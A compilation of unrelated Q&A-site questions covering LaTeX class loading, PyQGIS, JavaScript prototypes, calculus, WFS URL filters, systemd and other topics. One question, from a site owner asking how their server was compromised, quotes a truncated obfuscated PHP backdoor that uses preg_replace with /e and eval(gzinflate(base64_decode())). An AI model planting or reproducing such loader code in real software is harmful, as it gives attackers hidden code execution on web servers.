I'm trying to develop a set of custom classes. They are all very similar, but each do slightly different things (a custom letter, article and report for example. Since they share things in common, I thought that to cut down on repeated code, I could have a 'base' class, which would define everything they have in common, and then I would have the specific classes, with their individual code.  That base class is called frigaard-base.cls, and then I have a class for essays, called frigaard-essay.cls. The structure is that frigaard-base loads the default article and then frigaard-essay loads frigaard-base. However in a document when I load frigaard-essay.cls, I get the following error:  File `frigaard-base.cls' not found. \LoadClass{frigaard-base}   Normally though, it should be found since frigaard-base and frigaard-essay are in the same folder, and here is their declarations:  \NeedsTeXFormat{LaTeX2e}[2011/06/27] \ProvidesClass{frigaard-base}[2013/07/24] \LoadClass[a4paper, 12pt]{article}     \NeedsTeXFormat{LaTeX2e}[2011/06/27] \ProvidesClass{frigaard-essay}[2013/07/24] \LoadClass{frigaard-base}[2013/07/24]   What is happening here? Should I not be using \LoadClass twice within the same hierarchy and change frigaard-base into some other file type, such as a .def (if this is the case, please explain how).  More Info  It has been worked out that when frigaard-base.cls, frigaard-essay.cls, and a test document are in the same folder, then it works fine, but when say the test document is in a folder, frigaard-essay.cls is in a subfolder, and frigaard-base.cls is in a subfolder of that, it gives the same error.


Hide column in attribute table by using PyQGIS

Is there a way to hide a column in the attribute table by using PyQGIS?  By hiding I do not mean hiding only the edit widget, I would like to hide the column completely.  It is possible to achieve that by right clicking on the column in the attribute table and selecting 'Hide column' or 'Organize columns...' but I did not find a way how to do it by using PyQGIS.


Javascript heritage with .prototype vs constructor

Can someone tell me why should I use the painful .prototype method when the constructor feels so easy and nice to me. parrot.presentation() and parrot.secondPresentation() are both working. I just want to know if it's like old vs new or if one is really needed 1% of the time or I don't know but I really want to understand or get a good example of the differences. Thanks a lot   function Animal(name, paws, weight) {   this.name = name;   this.paws = paws;   this.weight = weight;    // By Constructor   this.presentation = function() {     console.log("I am a " + this.name + " and I have " + this.paws + " paws");   } }  // By .prototype Animal.prototype.secondPresentation = function() {   console.log("Hello, I use prototype to present myself: " + this.name + ", now gtfo"); } /////////  function Bird(name, wingLength, paws, weight) {   Animal.call(this, name, paws, weight);   this.wingLength = wingLength; }  // By .prototyte Bird.prototype = Object.create(Animal.prototype); Bird.prototype.constructor = Bird; ////////  function Mammal(name, hairType, paws, weight) {   Animal.call(this, name, paws, weight);   this.hairType = hairType; }  var parrot= new Bird("Parrot", "large", 2, "5kg"); console.log(parrot);  parrot.presentation(); parrot.secondPresentation();


Opaque text but transparent background for Powershell/Command Prompt?

I would like to just have the text and header bar visible while I'm using the command line. I've tried Console, but like Powershell, adjusting transparency settings affects the text as well. Is there any software/option for having the background be completely transparent while the text remains opaque?


Android app - can I see interesting questions?

On the website the default list of questions displays interesting tab (which I believe has questions based on my highest scoring tabs). That's very convenient and allows me to check new questions that are relevant for me easily.   Can the same view be added to the mobile app?


My calculus text (Swokowski, Olnikc, Pence, 6th edition) gives the  formula for work as $W = Fd$ and then goes on to explain that if the force varies over the distance the formula becomes an integral.    As part of an example, it then shows that the work to lift a 500 lb beam 30 feet would be 500 * 30 = 15,000 ft-lb.  But don't we have to exert an upward force greater than the weight of the beam somewhere in our model in order to get the beam to move up?  Then the work would be greater than 15,000 ft-lbs according to the definition of work.  It seems that in setting up integrals or just using the formula  W = Fd examples always use the weight of the increment or object to be  lifted without taking into account the fact that more than that force  must be exerted at some point in order for the thing to move upwards. By the formula W = Fd, if we greatly accelerate an object upwards, the  work done lifting the object will be greater than if a lesser  acceleration is applied across the same distance, but examples in my  book don't seem to take this into account.  (I am assuming that  F = ma, and of course the mass stays constant.)


How to check two arrays of object has the same property value or not?

i have two arrays and want to check if all IDs is the same or not let a = [           {id:0, name:"test0"},           {id:1, name:"test1"}          ];  let b = [           {id:0, name:"test0"},           {id:1, name:"test1"}          ];  the above arrays we see it's equal and the way I tired like this JSON.stringify(a) === JSON.stringify(b) => True  I read the JSON.stringify it's affected the Performance if we have big arrays so is there another way to get the same result?


How do I add mobs to a team and make them passive to me?

How can I add certain mobs to a team and make them passive to me if they would normally attack me? I know how to do it in 1.8, but how can I do it now in 1.16.4?


What is this story I'm trying to remember, set in an alternate black and white dimension?

I read this book, when I was young, about a kid getting trapped in an alternate universe. The alternate universe was a mirror image of the real world, but in black and white. The kid remained in colour, and I vaguely recall the colour being a crucial part to getting back home.  In the real world, there was some sort of catastrophe, where a group of children all went missing. It turns out they were trapped in the black and white dimension, but had been trapped for so long that they also lost colour.  I remember there was some sort of twist, but I can not remember what that twist was. I remember that one of the trapped kids managed to escape, but it was not who the main character suspected it to be; I do not think that was the 'big' twist, because I recall that in the last moments, the good ending went sour.  The book would have been around in the mid 90s, and it was in English. I am sure I borrowed it from a library, I'm Australia, should that mean anything. I was only a kid, when I read it, but I do not want to discount books you would not expect a kid to be reading; I was a bit more advanced than other kids of my age, in regards to reading and literature.


Is there a way to find what motherboard model I have?  If yes, how, please?


I just tried to add a tag for "implementation-defined-behavior" on SO but I couldn't because of the 25 char limit. I had to resort to an abbreviation (), which is rather ugly and to some extent thwarts the purpose of tags, i.e. easy indexing.   Although I acknowledge that too long tag names could be unwieldy, sometimes there are technical terms that cannot be abbreviated in any useful way (especially when there is no widespread acronym).    Could an increase of that limit be considered?     EDIT  This is to respond to all the comments addressed at me that were triggered by the recent news brought up by @Shog9 in .  Shog9 announced that the limit was raised to 35 chars network-wide, thus some people asked me to accept his answer instead of .  TL;DR:  Sorry but, no, I won't accept Shog9's answer. Although I find the change very welcome, I think it is still somehow a sort of a patch for the SE network as it has evolved. A complex system such as SE network is now could well afford another mechanism vetted by high rep users/mods on per-site basis.  More explanation:  I really welcome the change, but this solution would have satisfied me at the time I originally posted my question. After all, 35 chars is probably a reasonable limit for a site like SO, or  where I'm currently active and committed.   At that time, IRRC, the SE network was still very young and there were very few sites on the network that rivaled SO in quality and traffic.  But time has changed since then, and there are sites that have greatly improved and that have the potential of outperforming SO in traffic (after all, there are more people watching TV or practicing mountain walking than programmers out there!).  Given how SE network has evolved, I still think that the right, long term, solution is option #5 in hildred's answer: in short, allow much longer names under the supervision of mods and as a new privilege for high rep users.   Abuse is always a possibility, even with shorter tag names or for other facilities of the sites. I don't see why, apart from some technical reason related to the structure of the system, hildred's solution (or kind of) could not be implemented with the same level of safety/security as other facilities.   There are sites, as it was shown by others, that desperately need a much higher tag length limit, if tags are to be useful for them.   As the name of something increases in length, meaningful abbreviations start to become unintuitive and not unique, hence you cannot expect people to gain any convenience when searching for an abbreviation they don't know about or that they must guess.   In the end, as on of those sites grows, the problem becomes ever worse, because funny abbreviations, with lots of still funnier synonyms, increase, rendering the tag system unreliable and inconvenient.


Is it possible to use "and" & "or" queries on a WFS service through the URL?  Here's my current URL:  http://mywebsite.com/county_roads_wms_only/MapServer/WFSServer?request=GetFeature&service=WFS&typename=county_roads_wms_only:Roads&maxfeatures=2&filter=<ogc:Filter><ogc:PropertyIsLike escape="\" singleChar="_" wildCard="%"><ogc:PropertyName>Road_Label</ogc:PropertyName><ogc:Literal>%mcculloch%</ogc:Literal></ogc:PropertyIsLike></ogc:Filter>'   Is there a way to form it so that it would be "%mcculloch% AND %st%" or "%mcculloch% OR %st% in the URL?


prove that the power series of $e^z$ does not converge uniformly on $\mathbb{C}$

First I assumed that it converges uniformly. But the following step is to get a series that is diverge.   Any ideas?


How to estimate vector autoregression & impulse response function with panel data

I am working on vector auto-regression (VARs) and impulse response function (IRFs) estimation based on panel data with 33 individuals over 77 quarters.  How should this type of situation be analyzed?  What algorithm's exist for this purpose?  I would prefer to conduct these analyses in R, so if anyone is familiar with R code or a package designed for this purpose that they could suggest, that would be especially helpful.


Let $X=\{x\mid x=1+1/2+1/3+1/4+\cdots+1/n\}$ where $n\in\Bbb N$. Find $X\cap \Bbb N$.   What I can figure out is to use a general formula and then apply divisibility theorems to solve this, but I suppose there is no way to find the sum of a harmonic series. Can anybody give me a hint as to what other methods can be used to solve this question?


How can I add an application to the Favorites section of the Applications menu in CentOS 7?

I have created a custom application entry in the applications menu for Eclipse as follows in a file /usr/share/applications/eclipse.desktop as follows  [Desktop Entry] Version=1.0 Name=Eclipse    Exec=/usr/local/eclipse/eclipse Terminal=false Type=Application StartupNotify=true Categories=X-Red-Hat-Extra;Application;Development; X-Desktop-File-Install-Version=0.15 Icon=/usr/local/eclipse/icon.xpm   This now appears fine in the Programming section of the Applications menu.  How can I add it to the Favorites section?


Close votes combine and falsely attribute close reasons

In  several users voted to close the question as a duplicate. I did not agree with this, but I thought the question could use some more clarification (specifically reference images), so I CVed as "unclear what you are asking".  Regardless of who was "right", it now displays me as having voted to close as a duplicate even though I most certainly did not:    I've read  which explains the logic of how the close reason is picked, but not why it's picked (why couldn't the message list all close reasons next the the names of the appropriate close-voters?).  Even if it was displayed more like this:     Closed by user1, user2, user3, user4, user5 some time ago.   This question has been marked as a duplicate of xyz question. If those answers do not fully address your question, please ask a new question.   I feel like it would be an improvement as it wouldn't directly assert that all the users voted for the displayed close reason.  After reading , it appears this feature has been known for a long time. In which case my question is why have there been no plans to change this? By what reasoning is this feature desired behavior?


How did my non-CMS based website get hacked? I have a file called mails.php which contains a preg_replace statement

I have a series of websites in my server, all of which share the same set of PHP files. They're not based in any CMS (no Wordpress, no Joomla, etc.). All of them contain my own "CMS" so to speak. I've never published my code in any public repository or other public site.  So how is it possible that I have a new file called "mails.php" in the root of every domain in my server? The contents are something like this:  <?php  preg_replace("/.*/e","\x28\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X17f9rG0vD/5/c732GtcipoMAac5CRgiBPHTpyLnfqSpInzUAECVAukSsLYzfF3f2ZmV5fVDUGc0z7vW7exQdqdnd2dnZ2dnUtJm3uTnq25LuswpTkYjvSH/240Bg8f1Efbw+ZI6zcbzbr+WK8/ftB8pLT/+Y/  ...snip...  /1KRwsG3Iu0AiUSgmWYolw8UZqaSaX+ojbW56PT6vpClLsH7+jm6aYsVTuhppkpQDUoWolJXu8yrVVk/1weFsZKncsyt+M60J1V4ewhkDMNBMs4eapx5WzqqBLmLoQPu/'\x29\x29\x29\x29\x3B",".");?>   The "code" inside the string shown here is not complete (I shortened it before pasting it here) but still, I don't get how is that working. The preg_replace() method is supposed to just return a string, is it? But then the string is not received by anything. So how does it run any code at all? How does that even do something?  Anyway, the biggest question is, how did that file appear in my domains?


Are the events $S>s$ and $T=1$ are independent

$$X,Y\sim \exp(\lambda)$$ $$S=\min(X,Y)$$ $$T=\mathbf1_{X\le Y}=\begin{Bmatrix} 1 & \text{ if } X\le Y \\ 0 & \text{ if } X\gt Y \end{Bmatrix}$$ I have that $P(S>s)=e^{-2\lambda s}$ (so $S\sim \exp(2\lambda)$) and that $P(T=1)=\frac{1}{2}$ I am now struggling to find out how to show their independence. Using $P(S>s,T=1)=P(S>s)P(T=1)$, I attempted to work out the left hand side of the equation to show it was equal to $\frac{1}{2}e^{-2\lambda s}$ as follows: $$\begin{align}  P(S>s,T=1)&=P(X>s,Y>s,X\le Y) \\ &=P(X>s|Y>s,X\le Y)+P(Y>s|X\le Y)\\ &=P(X>s|X\le Y)+P(Y>s|X\le Y)\\ &=\frac{P(X>s,X\le Y)+P(Y>s,X\le Y)}{P(X\le Y)} \end{align}$$ However, I could not figure out how to work out $P(X>s,X\le Y)$ and $P(Y>s,X\le Y)$ I was thinking something along the lines of: $$P(X>s,X\le Y)=\int_{s}^{\infty}\int_{x}^{\infty}2\lambda e^{-2\lambda s}\mathbf1_{X\le Y}dydx$$ but this diverges so it has left me a bit stumped about where to go from here. Any clues to help me get over this hurdle would be much appreciated! Or if I'm completely barking up the wrong tree it would be useful if I could be pointed in the right direction :)


How to run a command at startup with systemd?

I've got a specific command which I want to run at startup, I am running Ubuntu GNOME 15.10 with GNOME 3.18 with systemd. But after searching I can only seem to find . So how do you run a command at startup using systemd?


Here my MWE:  \documentclass[11pt,a4paper,sans]{moderncv}  \moderncvstyle{banking} \moderncvcolor{blue} \usepackage[scale=0.75]{geometry}  \name{A}{B} \title{B A} \address{4}{7}{C} \phone[mobile]{06~01~02~03~04} \email{@}  \begin{document} \makecvtitle \end{document}   And the result it gives me:    I have highlighted my problem in red dots. I don't get why there's a line jump here. I had this example compiled a while ago and this line jump wasn't there … I'm compiling this using xelatex on a ArchLinux system. My TeX Live versions are  local/texlive-latexextra 2015.38831-1 (texlive-most)     TeX Live - Large collection of add-on packages for LaTeX   Which corresponds to moderncv.cls version   \ProvidesClass{moderncv}[2015/07/28 v2.0.0 modern curriculum vitae and letter document class]   This question is a duplicate of  which already has an ad-hoc answer depending on the moderncv.cls version.  Is there any other (nicer) way to fix this?


What are good resources for a beginning photographer?

What are good resources (tutorials/books/videos/etc) for a beginning photographer?  Keep in mind that this is for a beginning photographer, who has recently moved from a point-and-shoot to an entry-level DSLR, and is interested in digging deeper into photography in general.  Examples of good topics for the resources to cover:   what's aperture?, and other camera basics  color temperature and lighting composition and visualization etc.


How to get record type Id in apex having its system DeveloperName (not a Name/Label).  UPD:  There is a similar question here  but it is more general and the best answer selected may confuse searchers. This question is more specific and has a simple oneliner as a solution, which is more accurate with the current API.


tool available to find missing indexes in mssql 2008 ? can we find the missing index using Database Engine Tuning Advisor